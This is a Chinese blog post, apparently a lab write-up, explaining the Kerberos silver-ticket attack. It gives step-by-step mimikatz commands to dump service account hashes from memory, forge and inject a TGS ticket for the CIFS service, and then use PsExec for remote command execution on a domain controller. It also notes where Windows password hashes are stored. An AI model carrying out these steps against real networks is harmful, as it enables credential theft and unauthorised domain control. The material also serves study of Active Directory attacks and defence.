zoukankan      html  css  js  c++  java
  • 伪造白银票据

    通过kerberos那篇文章我们初步了解了Kerberos协议的工作过程,解决的两个问题

    第一个问题:如何证明你本人是XXX用户的问题   由Authentication Server负责

    第二个问题:提供服务的服务器如何知道你有权限访问它提供的服务。当一个Client去访问Server服务器上的某服务时,Server如何判断Client是否有权限来访问自己主机上的服务。 由Ticket Granting Server负责

    针对kerberos协议需要解决的第二个问题:提供服务的服务器如何知道你有权限访问它提供的服务。攻击者提出了一种思路,伪造TGS票据进行攻击,所以出现了另一种针对kerberos认证的攻击手法-伪造TGS ticket白银票据。

    Silver Tickets(白银票据)就是伪造的TGS ticket,TGS ticket中包含了伪造的PAC,用来让服务器获取相应的用户UID等信息,向KDC确认用户是否有权限访问某个服务。

    由于白银票据是伪造的TGS票据,所以与域控制器没有步骤1、2、3、4的通信,直接进入到认证的第五步把TGS票据当作AP_REQ的一部分被发送到提供服务的服务器去访问服务。

    image

    制作白银票据  (上篇黄金票据已经截过图,主要使用用工具还是mimikatz和psexec)

    制作白银票据的条件:

    1.域名称

    2.域的SID值

    3.域的服务账户的密码HASH

    4.伪造的用户名,可以是任意用户名,一般伪造administrator

    5.需要访问的服务


    第一步:

    管理员权限运行mimikatz

    privilege::debug #提升权限

    sekurlsa::logonpasswords #获取service账户hash 和sid(同一个域下得sid一样)

    第二步:

    清空本地票据缓存

    kerberos::purge #清理本地票据缓存

    kerberos::list #查看本地保存的票据

    第三步:

    伪造白银票据并导入

    kerberos::golden /domain:superman.com /sid:S-1-5-21-259090122-541454442-2960687606 /target:win08.superman.com /rc4:f6f19db774c63e49e9af61346adff204 /service:cifs /user:administrator /ptt

    第四步:

    访问域控的共享目录

    dir \win08c$

    远程登陆,执行命令

    PsExec.exe \win08 cmd.exe

    whoami查看权限



    黄金票据和白银票据区别

    1.TGS ticket针对的是某个机器上的某个服务,TGT针对的是所有机器的所有服务

    2.TGT利用krbtgt账户的hash,TGS ticket利用的是服务账户的hash(目标机的hash,以计算机名$显示的账户)


    黄金票据的实验结果:

    能够在域里边所有机器上都以administrator登录

    白银票据的实验结果:

    以前就能够psexec的,使用白银票据添加cifs为administrator权限后,能够在psexec之后以administrator登录

    以前就不能后动psexesvc的机器,实用白银票据添加cifs后,dir由无权查看变为有权查看

    hash位置

    运行中的系统,需要从内存抓取->lassas.exe进程里边存放的是活动用户的hash(当前登录的用户)普通域用户或普通工作组:SAM文件(加密后的用户密码)/SYSTEM文件(秘钥)windows/system32/config/SAM存的是当前机器所用户的Hash

    域控:ntds.dit所有域用户的账号/密码(hash)

  • 相关阅读:
    JavaWeb——Servlet开发3
    8.3.3
    8.3.2
    8.3
    8.2
    8.1
    7.3.9
    7.3.8.3
    7.3.8.2
    7.3.8.1
  • 原文地址:https://www.cnblogs.com/sup3rman/p/12329830.html
Copyright © 2011-2022 走看看